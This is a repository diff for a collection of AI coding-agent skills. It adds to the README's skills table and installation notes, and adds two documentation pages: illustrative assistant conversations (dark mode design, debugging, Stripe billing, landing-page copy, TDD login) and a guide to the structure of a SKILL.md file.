+| **Windows Privilege Escalation**                    | This skill should be used when the user asks to "escalate privileges on Windows," "find Windows privesc vectors," "enumerate Windows for privilege escalation," "exploit Windows misconfigurations," or "perform post-exploitation privilege escalation." It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments.                                                                                                                                                                                                                                                                                                                                                                                                                                                | `skills/windows-privilege-escalation`        |
+| **Wireshark Network Traffic Analysis**              | This skill should be used when the user asks to "analyze network traffic with Wireshark", "capture packets for troubleshooting", "filter PCAP files", "follow TCP/UDP streams", "detect network anomalies", "investigate suspicious traffic", or "perform protocol analysis". It provides comprehensive techniques for network packet capture, filtering, and analysis using Wireshark.                                                                                                                                                                                                                                                                                                                                                                                                                                                  | `skills/wireshark-analysis`                  |
+| **WordPress Penetration Testing**                   | This skill should be used when the user asks to "pentest WordPress sites", "scan WordPress for vulnerabilities", "enumerate WordPress users, themes, or plugins", "exploit WordPress vulnerabilities", or "use WPScan". It provides comprehensive WordPress security assessment methodologies.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | `skills/wordpress-penetration-testing`       |
+| **workflow-automation**                             | "Workflow automation is the infrastructure that makes AI agents reliable. Without durable execution, a network hiccup during a 10-step payment flow means lost money and angry customers. With it, workflows resume exactly where they left off. This skill covers the platforms (n8n, Temporal, Inngest) and patterns (sequential, parallel, orchestrator-worker) that turn brittle scripts into production-grade automation. Key insight: The platforms make different tradeoffs. n8n optimizes for accessibility"                                                                                                                                                                                                                                                                                                                     | `skills/workflow-automation`                 |
+| **writing-plans**                                   | Use when you have a spec or requirements for a multi-step task, before touching code                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | `skills/writing-plans`                       |
+| **writing-skills**                                  | Use when creating new skills, editing existing skills, or verifying skills work before deployment                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | `skills/writing-skills`                      |
+| **xlsx**                                            | "Comprehensive spreadsheet creation, editing, and analysis with support for formulas, formatting, data analysis, and visualization. When Claude needs to work with spreadsheets (.xlsx, .xlsm, .csv, .tsv, etc) for: (1) Creating new spreadsheets with formulas and formatting, (2) Reading or analyzing data, (3) Modify existing spreadsheets while preserving formulas, (4) Data analysis and visualization in spreadsheets, or (5) Recalculating formulas"                                                                                                                                                                                                                                                                                                                                                                          | `skills/xlsx-official`                       |
+| **zapier-make-patterns**                            | "No-code automation democratizes workflow building. Zapier and Make (formerly Integromat) let non-developers automate business processes without writing code. But no-code doesn't mean no-complexity - these platforms have their own patterns, pitfalls, and breaking points. This skill covers when to use which platform, how to build reliable automations, and when to graduate to code-based solutions. Key insight: Zapier optimizes for simplicity and integrations (7000+ apps), Make optimizes for power "                                                                                                                                                                                                                                                                                                                    | `skills/zapier-make-patterns`                |
 
 ## Installation
 
-To use these skills with **Antigravity** or **Claude Code**, clone this repository into your agent's skills directory:
+To use these skills with **Claude Code**, **Gemini CLI**, **Codex CLI**, **Cursor**, **Antigravity**, or **OpenCode**, clone this repository into your agent's skills directory:
 
 ```bash
+# Universal installation (works with most tools)
 git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+
+# Claude Code specific
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .claude/skills
+
+# Gemini CLI specific
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .gemini/skills
+
+# Cursor specific
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .cursor/skills
 ```
 
 ---
@@ -153,8 +397,10 @@ This collection would not be possible without the incredible work of the Claude
 
 - **[anthropics/skills](https://github.com/anthropics/skills)**: Official Anthropic skills repository - Document manipulation (DOCX, PDF, PPTX, XLSX), Brand Guidelines, Internal Communications.
 - **[anthropics/claude-cookbooks](https://github.com/anthropics/claude-cookbooks)**: Official notebooks and recipes for building with Claude.
+- **[remotion-dev/skills](https://github.com/remotion-dev/skills)**: Official Remotion skills - Video creation in React with 28 modular rules.
 - **[vercel-labs/agent-skills](https://github.com/vercel-labs/agent-skills)**: Vercel Labs official skills - React Best Practices, Web Design Guidelines.
 - **[openai/skills](https://github.com/openai/skills)**: OpenAI Codex skills catalog - Agent skills, Skill Creator, Concise Planning.
+- **[supabase/agent-skills](https://github.com/supabase/agent-skills)**: Supabase official skills - Postgres Best Practices.
 
 ### Community Contributors
 
@@ -163,9 +409,15 @@ This collection would not be possible without the incredible work of the Claude
 - **[diet103/claude-code-infrastructure-showcase](https://github.com/diet103/claude-code-infrastructure-showcase)**: Infrastructure and Backend/Frontend Guidelines.
 - **[ChrisWiles/claude-code-showcase](https://github.com/ChrisWiles/claude-code-showcase)**: React UI patterns and Design Systems.
 - **[travisvn/awesome-claude-skills](https://github.com/travisvn/awesome-claude-skills)**: Loki Mode and Playwright integration.
-- **[zebbern/claude-code-guide](https://github.com/zebbern/claude-code-guide)**: Comprehensive Security suite.
+- **[zebbern/claude-code-guide](https://github.com/zebbern/claude-code-guide)**: Comprehensive Security suite & Guide (Source for ~60 new skills).
 - **[alirezarezvani/claude-skills](https://github.com/alirezarezvani/claude-skills)**: Senior Engineering and PM toolkit.
 - **[karanb192/awesome-claude-skills](https://github.com/karanb192/awesome-claude-skills)**: A massive list of verified skills for Claude Code.
+- **[zircote/.claude](https://github.com/zircote/.claude)**: Shopify development skill reference.
+- **[vibeforge1111/vibeship-spawner-skills](https://github.com/vibeforge1111/vibeship-spawner-skills)**: AI Agents, Integrations, Maker Tools (57 skills, Apache 2.0).
+- **[coreyhaines31/marketingskills](https://github.com/coreyhaines31/marketingskills)**: Marketing skills for CRO, copywriting, SEO, paid ads, and growth (23 skills, MIT).
+- **[vudovn/antigravity-kit](https://github.com/vudovn/antigravity-kit)**: AI Agent templates with Skills, Agents, and Workflows (33 skills, MIT).
+- **[affaan-m/everything-claude-code](https://github.com/affaan-m/everything-claude-code)**: Complete Claude Code configuration collection from Anthropic hackathon winner - skills only (8 skills, MIT).
+- **[webzler/agentMemory](https://github.com/webzler/agentMemory)**: Source for the agent-memory-mcp skill.
 
 ### Inspirations
 
@@ -180,4 +432,18 @@ MIT License. See [LICENSE](LICENSE) for details.
 
 ---
 
-**Keywords**: Claude Code, Antigravity, Agentic Skills, MCT, AI Agents, Autonomous Coding, Security Auditing, React Patterns.
+**Keywords**: Claude Code, Gemini CLI, Codex CLI, Antigravity IDE, GitHub Copilot, Cursor, OpenCode, Agentic Skills, AI Coding Assistant, AI Agent Skills, MCP, MCT, AI Agents, Autonomous Coding, Security Auditing, React Patterns, LLM Tools, AI IDE, Coding AI, AI Pair Programming, Vibe Coding, Agentic Coding, AI Developer Tools.
+
+---
+
+## 🏷️ GitHub Topics
+
+For repository maintainers, add these topics to maximize discoverability:
+
+```text
+claude-code, gemini-cli, codex-cli, antigravity, cursor, github-copilot, opencode,
+agentic-skills, ai-coding, llm-tools, ai-agents, autonomous-coding, mcp,
+ai-developer-tools, ai-pair-programming, vibe-coding, skill, skills, SKILL.md, rules.md, CLAUDE.md, GEMINI.md, CURSOR.md
+claude-code, gemini-cli, codex-cli, antigravity, cursor, github-copilot, opencode,
+agentic-skills, ai-coding, llm-tools, ai-agents, autonomous-coding, mcp
+```

docs/EXAMPLES.md

@@ -0,0 +1,760 @@
+# 💡 Real-World Examples - See Skills in Action
+
+**Learn by example!** This guide shows you real conversations using different skills.
+
+---
+
+## Example 1: Designing a Feature with @brainstorming
+
+### The Scenario
+You want to add a "dark mode" feature to your app, but you're not sure how to approach it.
+
+### The Conversation
+
+```
+You: @brainstorming I want to add dark mode to my React app
+
+AI: Great! Let me help you think through this. First, let me check your 
+    current project structure...
+    
+    [AI examines your files]
+    
+    I see you're using React with Tailwind CSS. Now, let's understand 
+    your requirements:
+    
+    What's your primary goal for dark mode?
+    a) User preference (toggle in settings)
+    b) System preference (follow OS setting)
+    c) Both (with manual override)
+
+You: c) Both
+
+AI: Perfect! That's the best user experience. Next question:
+    
+    Where should the dark mode toggle be located?
+    a) In the main navigation
+    b) In a settings page
+    c) In a dropdown menu
+    d) Multiple locations
+
+You: a) In the main navigation
+
+AI: Good choice for accessibility. One more question:
+    
+    Should dark mode preference persist across sessions?
+    a) Yes, save to localStorage
+    b) Yes, save to user account (requires backend)
+    c) No, reset each session
+
+You: a) Yes, save to localStorage
+
+AI: Excellent! Now I have a clear picture. Let me present the design...
+    
+    ## Dark Mode Implementation Design
+    
+    ### Architecture Overview
+    We'll use React Context for state management, Tailwind's dark mode
+    utilities, and localStorage for persistence. The system will:
+    1. Check OS preference on first visit
+    2. Allow manual override via toggle
+    3. Persist preference in localStorage
+    
+    Does this approach look good so far?
+
+You: Yes, continue
+
+AI: [Continues with detailed design sections...]
+    
+    [After design is complete]
+    
+    I've saved the design to docs/plans/2026-01-20-dark-mode-design.md
+    
+    Ready to set up for implementation?
+
+You: Yes
+
+AI: I'll create an isolated workspace using git worktrees and write an
+    implementation plan. One moment...
+```
+
+### What Happened
+- ✅ AI asked focused questions one at a time
+- ✅ Explored your specific context
+- ✅ Presented design in sections
+- ✅ Saved documentation
+- ✅ Prepared for implementation
+
+---
+
+## Example 2: Debugging with @systematic-debugging
+
+### The Scenario
+Your tests are failing, but you're not sure why.
+
+### The Conversation
+
+```
+You: @systematic-debugging My tests are failing with "Cannot read property 
+     'map' of undefined"
+
+AI: Let me help you debug this systematically. First, I'll gather information:
+    
+    1. Running the failing test to see the full error...
+    
+    [AI runs: npm test]
+    
+    I see the error occurs in UserList.test.tsx at line 45. Let me examine
+    the test file and the component...
+    
+    [AI reads both files]
+    
+    ## Hypothesis
+    The test is failing because `users` prop is undefined when the component
+    renders. This suggests the mock data isn't being passed correctly.
+    
+    ## Verification
+    Let me check the test setup...
+    
+    [AI examines test]
+    
+    Found it! The test is calling:
+    ```typescript
+    render(<UserList />)
+    ```
+    
+    But UserList requires a `users` prop. The component expects:
+    ```typescript
+    interface UserListProps {
+      users: User[];
+    }
+    ```
+    
+    ## Solution
+    The test should pass the users prop:
+    ```typescript
+    const mockUsers = [
+      { id: 1, name: 'Alice' },
+      { id: 2, name: 'Bob' }
+    ];
+    
+    render(<UserList users={mockUsers} />)
+    ```
+    
+    Should I apply this fix?
+
+You: Yes
+
+AI: [Applies fix and runs tests]
+    
+    ✅ All tests passing!
+    
+    ## Root Cause
+    The test was missing required props. This is a common issue when
+    components are refactored to require props that were previously optional.
+    
+    ## Prevention
+    Consider adding TypeScript strict mode to catch these at compile time:
+    ```json
+    "strict": true,
+    "strictNullChecks": true
+    ```
+    
+    Would you like me to add this to your tsconfig.json?
+```
+
+### What Happened
+- ✅ Systematic investigation
+- ✅ Clear hypothesis
+- ✅ Verification before fixing
+- ✅ Root cause analysis
+- ✅ Prevention suggestions
+
+---
+
+## Example 3: Adding Payments with @stripe-integration
+
+### The Scenario
+You need to add subscription billing to your SaaS app.
+
+### The Conversation
+
+```
+You: @stripe-integration I need to add monthly subscription billing
+
+AI: I'll help you implement Stripe subscriptions. Let me understand your
+    requirements:
+    
+    Current stack detected:
+    - Next.js 14 (App Router)
+    - TypeScript
+    - Prisma with PostgreSQL
+    
+    For subscription billing, we'll need:
+    
+    1. **Stripe Setup**
+       - Stripe account and API keys
+       - Webhook endpoint for events
+       - Product and price IDs
+    
+    2. **Backend Implementation**
+       - API routes for checkout
+       - Webhook handler
+       - Database schema for subscriptions
+    
+    3. **Frontend Implementation**
+       - Pricing page
+       - Checkout flow
+       - Subscription management
+    
+    Let's start with the backend. First, install dependencies:
+    
+    ```bash
+    npm install stripe @stripe/stripe-js
+    ```
+    
+    Now, let's create the database schema...
+    
+    [AI provides Prisma schema]
+    
+    ```prisma
+    model User {
+      id                 String    @id @default(cuid())
+      email              String    @unique
+      stripeCustomerId   String?   @unique
+      subscriptions      Subscription[]
+    }
+    
+    model Subscription {
+      id                 String    @id @default(cuid())
+      userId             String
+      user               User      @relation(fields: [userId], references: [id])
+      stripeSubscriptionId String  @unique
+      status             String
+      priceId            String
+      currentPeriodEnd   DateTime
+      createdAt          DateTime  @default(now())
+      updatedAt          DateTime  @updatedAt
+    }
+    ```
+    
+    Next, let's create the checkout API route...
+    
+    [AI provides complete implementation with:]
+    - API route for creating checkout sessions
+    - Webhook handler for subscription events
+    - Helper functions for Stripe operations
+    - Error handling and logging
+    - TypeScript types
+    
+    Now for the frontend...
+    
+    [AI provides:]
+    - Pricing page component
+    - Checkout button component
+    - Subscription status display
+    - Tailwind styling
+    
+    Finally, let's set up the webhook:
+    
+    1. In Stripe Dashboard, add webhook endpoint:
+       `https://yourdomain.com/api/webhooks/stripe`
+    
+    2. Select these events:
+       - customer.subscription.created
+       - customer.subscription.updated
+       - customer.subscription.deleted
+       - invoice.payment_succeeded
+       - invoice.payment_failed
+    
+    3. Copy the webhook secret to your .env:
+       ```
+       STRIPE_WEBHOOK_SECRET=whsec_...
+       ```
+    
+    ## Testing
+    
+    Test locally with Stripe CLI:
+    ```bash
+    stripe listen --forward-to localhost:3000/api/webhooks/stripe
+    stripe trigger customer.subscription.created
+    ```
+    
+    ## Security Checklist
+    - ✅ API keys in environment variables
+    - ✅ Webhook signature verification
+    - ✅ Server-side price validation
+    - ✅ Idempotency keys for operations
+    
+    Ready to test the implementation?
+```
+
+### What Happened
+- ✅ Detected existing stack
+- ✅ Provided complete implementation
+- ✅ Included database schema
+- ✅ Added security best practices
+- ✅ Included testing instructions
+
+---
+
+## Example 4: Writing Copy with @copywriting
+
+### The Scenario
+You need compelling copy for your SaaS landing page.
+
+### The Conversation
+
+```
+You: @copywriting Write homepage copy for my project management tool
+
+AI: I'll help you create compelling homepage copy. First, let me understand
+    your product:
+    
+    What makes your project management tool different from competitors
+    like Asana, Trello, or Monday.com?
+
+You: It's specifically built for remote teams with built-in video standups
+     and async communication features
+
+AI: Excellent differentiator! Who is your primary target audience?
+    a) Startups and small teams (2-20 people)
+    b) Mid-size companies (20-200 people)
+    c) Enterprise (200+ people)
+    d) Freelancers and agencies
+
+You: a) Startups and small teams
+
+AI: Perfect. What's the main pain point you solve?
+
+You: Remote teams waste time in unnecessary meetings and lose context
+     in async communication
+
+AI: Great! Now I have what I need. Here's your homepage copy:
+    
+    ---
+    
+    ## Hero Section
+    
+    **Headline:**
+    Run Your Remote Team Without the Meeting Overload
+    
+    **Subheadline:**
+    The project management tool built for distributed teams. Replace 
+    status meetings with async video standups and keep everyone in sync
+    without the Zoom fatigue.
+    
+    **CTA:**
+    Start Free Trial → (No credit card required)
+    
+    ---
+    
+    ## Problem Section
+    
+    **Headline:**
+    Remote Work Shouldn't Mean More Meetings
+    
+    **Body:**
+    Your team is distributed across time zones. You're spending hours in
+    status meetings just to stay aligned. Async updates get lost in Slack.
+    Context disappears. Productivity suffers.
+    
+    Sound familiar?
+    
+    ---
+    
+    ## Solution Section
+    
+    **Headline:**
+    Stay Aligned Without the Meeting Marathon
+    
+    **Features:**
+    
+    📹 **Async Video Standups**
+    Record quick video updates on your schedule. Your team watches when
+    it works for them. No more 9am calls for your teammate in Tokyo.
+    
+    💬 **Context-Rich Communication**
+    Every task, comment, and decision stays connected. No more hunting
+    through Slack threads or email chains.
+    
+    📊 **Visual Progress Tracking**
+    See what's happening at a glance. Kanban boards, timelines, and
+    dashboards that actually make sense.
+    
+    🔔 **Smart Notifications**
+    Get notified about what matters. Ignore the rest. Your focus time
+    is sacred.
+    
+    ---
+    
+    ## Social Proof Section
+    
+    **Headline:**
+    Trusted by Remote Teams Worldwide
+    
+    [Testimonial placeholders with structure]
+    
+    ---
+    
+    ## CTA Section
+    
+    **Headline:**
+    Ready to Reclaim Your Calendar?
+    
+    **Body:**
+    Join 500+ remote teams who've cut meeting time by 60% while staying
+    more aligned than ever.
+    
+    **CTA:**
+    Start Your Free 14-Day Trial →
+    
+    No credit card required. Cancel anytime.
+    
+    ---
+    
+    ## Copy Notes
+    
+    **Tone:** Professional but conversational
+    **Focus:** Pain point (too many meetings) → Solution (async video)
+    **Differentiation:** Built specifically for remote teams
+    **Social proof:** Quantified benefit (60% fewer meetings)
+    
+    Would you like me to:
+    1. Write alternative versions for A/B testing?
+    2. Create copy for specific feature pages?
+    3. Write email sequences for onboarding?
+```
+
+### What Happened
+- ✅ Asked clarifying questions
+- ✅ Identified unique value proposition
+- ✅ Created benefit-focused copy
+- ✅ Included clear CTAs
+- ✅ Provided copy notes for consistency
+
+---
+
+## Example 5: Test-Driven Development with @test-driven-development
+
+### The Scenario
+You need to implement a new feature: user authentication.
+
+### The Conversation
+
+```
+You: @test-driven-development I need to implement user login functionality
+
+AI: Perfect! Let's use TDD to build this. Following the Red-Green-Refactor
+    cycle, we'll write tests first, then implement.
+    
+    ## Step 1: Write the First Test (RED)
+    
+    Let's start with the simplest case - successful login:
+    
+    ```typescript
+    // auth.test.ts
+    import { login } from './auth';
+    
+    describe('login', () => {
+      it('should return user data for valid credentials', async () => {
+        const result = await login({
+          email: 'user@example.com',
+          password: 'correct-password'
+        });
+        
+        expect(result.success).toBe(true);
+        expect(result.user).toHaveProperty('id');
+        expect(result.user).toHaveProperty('email');
+        expect(result.token).toBeDefined();
+      });
+    });
+    ```
+    
+    Let's run this test to see it fail:
+    
+    [AI runs: npm test]
+    
+    ✅ Test fails as expected (auth.ts doesn't exist yet)
+    
+    ## Step 2: Write Minimal Implementation (GREEN)
+    
+    Now let's write just enough code to make this test pass:
+    
+    ```typescript
+    // auth.ts
+    interface LoginCredentials {
+      email: string;
+      password: string;
+    }
+    
+    interface LoginResult {
+      success: boolean;
+      user?: {
+        id: string;
+        email: string;
+      };
+      token?: string;
+    }
+    
+    export async function login(
+      credentials: LoginCredentials
+    ): Promise<LoginResult> {
+      // Minimal implementation to pass the test
+      return {
+        success: true,
+        user: {
+          id: '1',
+          email: credentials.email
+        },
+        token: 'fake-token'
+      };
+    }
+    ```
+    
+    [AI runs: npm test]
+    
+    ✅ Test passes!
+    
+    ## Step 3: Add Next Test (RED)
+    
+    Now let's test the failure case:
+    
+    ```typescript
+    it('should return error for invalid credentials', async () => {
+      const result = await login({
+        email: 'user@example.com',
+        password: 'wrong-password'
+      });
+      
+      expect(result.success).toBe(false);
+      expect(result.error).toBe('Invalid credentials');
+      expect(result.user).toBeUndefined();
+      expect(result.token).toBeUndefined();
+    });
+    ```
+    
+    [AI runs: npm test]
+    
+    ❌ Test fails (always returns success)
+    
+    ## Step 4: Implement Real Logic (GREEN)
+    
+    Now let's add actual authentication:
+    
+    ```typescript
+    import bcrypt from 'bcrypt';
+    import jwt from 'jsonwebtoken';
+    import { db } from './db';
+    
+    export async function login(
+      credentials: LoginCredentials
+    ): Promise<LoginResult> {
+      // Find user
+      const user = await db.user.findUnique({
+        where: { email: credentials.email }
+      });
+      
+      if (!user) {
+        return {
+          success: false,
+          error: 'Invalid credentials'
+        };
+      }
+      
+      // Verify password
+      const validPassword = await bcrypt.compare(
+        credentials.password,
+        user.passwordHash
+      );
+      
+      if (!validPassword) {
+        return {
+          success: false,
+          error: 'Invalid credentials'
+        };
+      }
+      
+      // Generate token
+      const token = jwt.sign(
+        { userId: user.id },
+        process.env.JWT_SECRET!,
+        { expiresIn: '7d' }
+      );
+      
+      return {
+        success: true,
+        user: {
+          id: user.id,
+          email: user.email
+        },
+        token
+      };
+    }
+    ```
+    
+    [AI runs: npm test]
+    
+    ✅ All tests pass!
+    
+    ## Step 5: Add Edge Cases
+    
+    Let's add more tests for edge cases:
+    
+    ```typescript
+    it('should handle missing email', async () => {
+      const result = await login({
+        email: '',
+        password: 'password'
+      });
+      
+      expect(result.success).toBe(false);
+      expect(result.error).toBe('Email is required');
+    });
+    
+    it('should handle missing password', async () => {
+      const result = await login({
+        email: 'user@example.com',
+        password: ''
+      });
+      
+      expect(result.success).toBe(false);
+      expect(result.error).toBe('Password is required');
+    });
+    
+    it('should handle database errors gracefully', async () => {
+      // Mock database error
+      jest.spyOn(db.user, 'findUnique').mockRejectedValue(
+        new Error('Database connection failed')
+      );
+      
+      const result = await login({
+        email: 'user@example.com',
+        password: 'password'
+      });
+      
+      expect(result.success).toBe(false);
+      expect(result.error).toBe('An error occurred');
+    });
+    ```
+    
+    [AI implements validation and error handling]
+    
+    ## Step 6: Refactor (REFACTOR)
+    
+    Now that all tests pass, let's refactor for better code quality:
+    
+    ```typescript
+    // Extract validation
+    function validateCredentials(credentials: LoginCredentials): string | null {
+      if (!credentials.email) return 'Email is required';
+      if (!credentials.password) return 'Password is required';
+      return null;
+    }
+    
+    // Extract user verification
+    async function verifyUser(
+      email: string,
+      password: string
+    ): Promise<User | null> {
+      const user = await db.user.findUnique({ where: { email } });
+      if (!user) return null;
+      
+      const valid = await bcrypt.compare(password, user.passwordHash);
+      return valid ? user : null;
+    }
+    
+    // Main function is now cleaner
+    export async function login(
+      credentials: LoginCredentials
+    ): Promise<LoginResult> {
+      try {
+        const validationError = validateCredentials(credentials);
+        if (validationError) {
+          return { success: false, error: validationError };
+        }
+        
+        const user = await verifyUser(
+          credentials.email,
+          credentials.password
+        );
+        
+        if (!user) {
+          return { success: false, error: 'Invalid credentials' };
+        }
+        
+        const token = generateToken(user.id);
+        
+        return {
+          success: true,
+          user: { id: user.id, email: user.email },
+          token
+        };
+      } catch (error) {
+        console.error('Login error:', error);
+        return { success: false, error: 'An error occurred' };
+      }
+    }
+    ```
+    
+    [AI runs: npm test]
+    
+    ✅ All tests still pass after refactoring!
+    
+    ## Summary
+    
+    We've implemented login functionality using TDD:
+    - ✅ 5 tests covering happy path, errors, and edge cases
+    - ✅ Clean, testable code
+    - ✅ Proper error handling
+    - ✅ Type safety with TypeScript
+    
+    Next steps:
+    1. Add rate limiting tests
+    2. Add session management tests
+    3. Add logout functionality
+    
+    Should I continue with these?
+```
+
+### What Happened
+- ✅ Followed Red-Green-Refactor cycle
+- ✅ Wrote tests before implementation
+- ✅ Covered edge cases
+- ✅ Refactored with confidence
+- ✅ Maintained test coverage
+
+---
+
+## Key Takeaways
+
+### What Makes These Examples Effective?
+
+1. **Skills ask clarifying questions** before jumping to solutions
+2. **Skills provide context-aware help** based on your project
+3. **Skills follow best practices** for their domain
+4. **Skills include complete examples** not just snippets
+5. **Skills explain the "why"** not just the "how"
+
+### How to Get Similar Results
+
+1. **Be specific** in your requests
+2. **Provide context** about your project
+3. **Answer questions** the skill asks
+4. **Review suggestions** before applying
+5. **Iterate** based on results
+
+---
+
+## Try These Yourself!
+
+Pick a skill and try it with your own project:
+
+- **Planning:** `@brainstorming` or `@writing-plans`
+- **Development:** `@test-driven-development` or `@react-best-practices`
+- **Debugging:** `@systematic-debugging` or `@test-fixing`
+- **Integration:** `@stripe-integration` or `@firebase`
+- **Marketing:** `@copywriting` or `@seo-audit`
+
+---
+
+**Want more examples?** Check individual skill folders for additional examples and use cases!

docs/SKILL_ANATOMY.md

@@ -0,0 +1,545 @@
+# Anatomy of a Skill - Understanding the Structure
+
+**Want to understand how skills work under the hood?** This guide breaks down every part of a skill file.
+
+---
+
+## 📁 Basic Folder Structure
+
+```
+skills/
+└── my-skill-name/
+    ├── SKILL.md              ← Required: The main skill definition
+    ├── examples/             ← Optional: Example files
+    │   ├── example1.js
+    │   └── example2.py
+    ├── scripts/              ← Optional: Helper scripts
+    │   └── helper.sh
+    ├── templates/            ← Optional: Code templates
+    │   └── template.tsx
+    ├── references/           ← Optional: Reference documentation
+    │   └── api-docs.md
+    └── README.md             ← Optional: Additional documentation
+```
+
+**Key Rule:** Only `SKILL.md` is required. Everything else is optional!
+
+---
+
+## SKILL.md Structure
+
+Every `SKILL.md` file has two main parts:
+
+### 1. Frontmatter (Metadata)
+### 2. Content (Instructions)
+
+Let's break down each part:
+
+---
+
+## Part 1: Frontmatter
+
+The frontmatter is at the very top, wrapped in `---`:
+
+```markdown
+---
+name: my-skill-name
+description: "Brief description of what this skill does"
+---
+```
+
+### Required Fields
+
+#### `name`
+- **What it is:** The skill's identifier
+- **Format:** lowercase-with-hyphens
+- **Must match:** The folder name exactly
+- **Example:** `stripe-integration`
+
+#### `description`
+- **What it is:** One-sentence summary
+- **Format:** String in quotes
+- **Length:** Keep it under 150 characters
+- **Example:** `"Stripe payment integration patterns including checkout, subscriptions, and webhooks"`
+
+### Optional Fields
+
+Some skills include additional metadata:
+
+```markdown
+---
+name: my-skill-name
+description: "Brief description"
+version: "1.0.0"
+author: "Your Name"
+tags: ["react", "typescript", "testing"]
+---
+```
+
+---
+
+## Part 2: Content
+
+After the frontmatter comes the actual skill content. Here's the recommended structure:
+
+### Recommended Sections
+
+#### 1. Title (H1)
+```markdown
+# Skill Title
+```
+- Use a clear, descriptive title
+- Usually matches or expands on the skill name
+
+#### 2. Overview
+```markdown
+## Overview
+
+A brief explanation of what this skill does and why it exists.
+2-4 sentences is perfect.
+```
+
+#### 3. When to Use
+```markdown
+## When to Use This Skill
+
+- Use when you need to [scenario 1]
+- Use when working with [scenario 2]
+- Use when the user asks about [scenario 3]
+```
+
+**Why this matters:** Helps the AI know when to activate this skill
+
+#### 4. Core Instructions
+```markdown
+## How It Works
+
+### Step 1: [Action]
+Detailed instructions...
+
+### Step 2: [Action]
+More instructions...
+```
+
+**This is the heart of your skill** - clear, actionable steps
+
+#### 5. Examples
+```markdown
+## Examples
+
+### Example 1: [Use Case]
+\`\`\`javascript
+// Example code
+\`\`\`
+
+### Example 2: [Another Use Case]
+\`\`\`javascript
+// More code
+\`\`\`
+```
+
+**Why examples matter:** They show the AI exactly what good output looks like
+
+#### 6. Best Practices
+```markdown
+## Best Practices
+
+- ✅ Do this
+- ✅ Also do this
+- ❌ Don't do this
+- ❌ Avoid this
+```
+
+#### 7. Common Pitfalls
+```markdown
+## Common Pitfalls
+
+- **Problem:** Description
+  **Solution:** How to fix it
+```
+
+#### 8. Related Skills
+```markdown
+## Related Skills
+
+- `@other-skill` - When to use this instead
+- `@complementary-skill` - How this works together
+```
+
+---
+
+## Writing Effective Instructions
+
+### Use Clear, Direct Language
+
+**❌ Bad:**
+```markdown
+You might want to consider possibly checking if the user has authentication.
+```
+
+**✅ Good:**
+```markdown
+Check if the user is authenticated before proceeding.
+```
+
+### Use Action Verbs
+
+**❌ Bad:**
+```markdown
+The file should be created...
+```
+
+**✅ Good:**
+```markdown
+Create the file...
+```
+
+### Be Specific
+
+**❌ Bad:**
+```markdown
+Set up the database properly.
+```
+
+**✅ Good:**
+```markdown
+1. Create a PostgreSQL database
+2. Run migrations: `npm run migrate`
+3. Seed initial data: `npm run seed`
+```
+
+---
+
+## Optional Components
+
+### Scripts Directory
+
+If your skill needs helper scripts:
+
+```
+scripts/
+├── setup.sh          ← Setup automation
+├── validate.py       ← Validation tools
+└── generate.js       ← Code generators
+```
+
+**Reference them in SKILL.md:**
+```markdown
+Run the setup script:
+\`\`\`bash
+bash scripts/setup.sh
+\`\`\`
+```
+
+### Examples Directory
+
+Real-world examples that demonstrate the skill:
+
+```
+examples/
+├── basic-usage.js
+├── advanced-pattern.ts
+└── full-implementation/
+    ├── index.js
+    └── config.json
+```
+
+### Templates Directory
+
+Reusable code templates:
+
+```
+templates/
+├── component.tsx
+├── test.spec.ts
+└── config.json
+```
+
+**Reference in SKILL.md:**
+```markdown
+Use this template as a starting point:
+\`\`\`typescript
+{{#include templates/component.tsx}}
+\`\`\`
+```
+
+### References Directory
+
+External documentation or API references:
+
+```
+references/
+├── api-docs.md
+├── best-practices.md
+└── troubleshooting.md
+```
+
+---
+
+## Skill Size Guidelines
+
+### Minimum Viable Skill
+- **Frontmatter:** name + description
+- **Content:** 100-200 words
+- **Sections:** Overview + Instructions
+
+### Standard Skill
+- **Frontmatter:** name + description
+- **Content:** 300-800 words
+- **Sections:** Overview + When to Use + Instructions + Examples
+
+### Comprehensive Skill
+- **Frontmatter:** name + description + optional fields
+- **Content:** 800-2000 words
+- **Sections:** All recommended sections
+- **Extras:** Scripts, examples, templates
+
+**Rule of thumb:** Start small, expand based on feedback
+
+---
+
+## Formatting Best Practices
+
+### Use Markdown Effectively
+
+#### Code Blocks
+Always specify the language:
+```markdown
+\`\`\`javascript
+const example = "code";
+\`\`\`
+```
+
+#### Lists
+Use consistent formatting:
+```markdown
+- Item 1
+- Item 2
+  - Sub-item 2.1
+  - Sub-item 2.2
+```
+
+#### Emphasis
+- **Bold** for important terms: `**important**`
+- *Italic* for emphasis: `*emphasis*`
+- `Code` for commands/code: `` `code` ``
+
+#### Links
+```markdown
+[Link text](https://example.com)
+```
+
+---
+
+## ✅ Quality Checklist
+
+Before finalizing your skill:
+
+### Content Quality
+- [ ] Instructions are clear and actionable
+- [ ] Examples are realistic and helpful
+- [ ] No typos or grammar errors
+- [ ] Technical accuracy verified
+
+### Structure
+- [ ] Frontmatter is valid YAML
+- [ ] Name matches folder name
+- [ ] Sections are logically organized
+- [ ] Headings follow hierarchy (H1 → H2 → H3)
+
+### Completeness
+- [ ] Overview explains the "why"
+- [ ] Instructions explain the "how"
+- [ ] Examples show the "what"
+- [ ] Edge cases are addressed
+
+### Usability
+- [ ] A beginner could follow this
+- [ ] An expert would find it useful
+- [ ] The AI can parse it correctly
+- [ ] It solves a real problem
+
+---
+
+## 🔍 Real-World Example Analysis
+
+Let's analyze a real skill: `brainstorming`
+
+```markdown
+---
+name: brainstorming
+description: "You MUST use this before any creative work..."
+---
+```
+
+**Analysis:**
+- ✅ Clear name
+- ✅ Strong description with urgency ("MUST use")
+- ✅ Explains when to use it
+
+```markdown
+# Brainstorming Ideas Into Designs
+
+## Overview
+Help turn ideas into fully formed designs...
+```
+
+**Analysis:**
+- ✅ Clear title
+- ✅ Concise overview
+- ✅ Explains the value proposition
+
+```markdown
+## The Process
+
+**Understanding the idea:**
+- Check out the current project state first
+- Ask questions one at a time
+```
+
+**Analysis:**
+- ✅ Broken into clear phases
+- ✅ Specific, actionable steps
+- ✅ Easy to follow
+
+---
+
